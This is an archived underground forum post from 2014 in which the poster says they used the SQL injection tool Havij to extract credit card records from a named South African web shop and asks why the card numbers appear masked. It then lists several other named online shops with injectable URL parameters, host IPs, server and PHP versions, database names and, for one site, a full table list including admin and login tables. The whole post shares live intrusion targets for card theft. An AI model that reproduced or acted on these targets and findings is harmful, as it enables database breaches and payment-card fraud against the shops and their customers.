PDA

View Full Version : Vulnerabile web shop



kentuliz
02-17-2014, 09:57 PM
Hi-Tec eShop - South Africa (http://www.hi-tecdirect.co.za/category.php?catId=1)


have many cc, been using Havij 1.16 pro, all i can see is "Mr. toks stewarts 455702******5052 0913 why there is stars in the middle?

Thanks

http://www.nextbase-shop.com/index.php?catID=7

Host IP: 85.214.74.152
Web Server: Apache
Powered-by: PHP/5.3.3-7+squeeze17
Keyword Found: pimp
Injection type is Integer
Keyword corrected: Stanchion
DB Server: MySQL >=5


http://www.bin-to.co.uk/listing.php?id=2&dept=walking-aids-frames-sticks-rollators

Host IP: 95.131.69.229
Web Server: Apache/2.0.64 (Unix) mod_ssl/2.0.64 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Powered-by: PHP/5.2.9
eyword Found: &nbsp
Injection type is Integer
DB Server: MySQL >=5
Current DB: binto


http://www.pcjeweller.com/banner.php?catid=1


Host IP: 205.178.147.28
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Powered-by: PHP/5.3.27-pl0-gentoo
Keyword Found: Necklaces(34)
Injection type is Integer
DB Server: MySQL >=5
Current DB: odinopcjewelle
Tables found: address,adminuser,category,city,codcity,contact_ba ckup,country,coupancode,events,giftvochure,goldmak ingcharge,goldprice,hpbanner,installments,jfllocat ion,jflpage,jfluserlogin,jfluserpayins,links,locat ion,metas,newsletter,ord,ordcoupon,orderproduct,or derproductcoupon,page,power_countries,prads,prices ,printads,product_desc,produprice,prou_detail,regi stration_user,request,shopping,shoppingcoupon,site map,slideshow,state,subcategory,teleads,tmpaddress ,user_login,usr,wishlisttrans